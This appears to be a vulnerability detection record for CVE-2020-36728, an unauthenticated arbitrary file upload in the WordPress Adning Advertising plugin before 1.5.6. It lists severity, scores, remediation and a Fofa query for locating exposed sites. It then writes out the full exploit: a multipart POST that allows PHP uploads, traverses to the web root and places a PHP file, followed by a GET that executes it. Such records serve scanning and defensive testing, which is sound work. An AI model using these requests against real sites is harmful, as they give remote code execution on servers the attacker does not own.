| Title | WordPress Plugin Adning Advertising < 1.5.6 - Arbitrary File Upload |
|---|---|
| Author | iamnoooob,pdresearch |
| Severity | Medium |
| Impact | Unauthenticated attackers can upload malicious files to achieve remote code execution, potentially compromising the entire WordPress site and server. |
| Remediation | Upgrade to Adning Advertising version 1.5.6 or later. |
| CVSS Score | 6.5 |
| EPSS Score | 0.77717 |
| CVE ID | CVE-2020-36728 |
| Fofa Query | body="served by Adning" |
| Tags | cve cve202 wordpress wp wp-plugin intrusive file-upload adning rce vkev vuln |
The Adning Advertising plugin for WordPress versions below 1.5.6 is vulnerable to arbitrary file upload, allowing attackers to upload malicious files to the server.
POST /wp-admin/admin-ajax.php?action=_ning_upload_image HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:88.0) Gecko/20100101 Firefox/88.0
Connection: close
Content-Length: 407
Content-Type: multipart/form-data; boundary=b214a08e1c094defed15a5cc4c2285ee
Accept-Encoding: gzip
--b214a08e1c094defed15a5cc4c2285ee
Content-Disposition: form-data; name="allowed_file_types"
php,jpg,jpeg
--b214a08e1c094defed15a5cc4c2285ee
Content-Disposition: form-data; name="upload"
{"dir": "../"}
--b214a08e1c094defed15a5cc4c2285ee
Content-Disposition: form-data; name="files[]"; filename="ksCAJGbs.php"
<?php echo base64_decode($_GET["input"]);?>
--b214a08e1c094defed15a5cc4c2285ee--
GET /ksCAJGbs.php?input=bWFsaWNpb3Vz HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 13_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Safari/605.1.15
Connection: close
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-36728.yaml
🦈 Packet Capture: ⬇️ Download cve-2020-36728.pcap
N/AN/A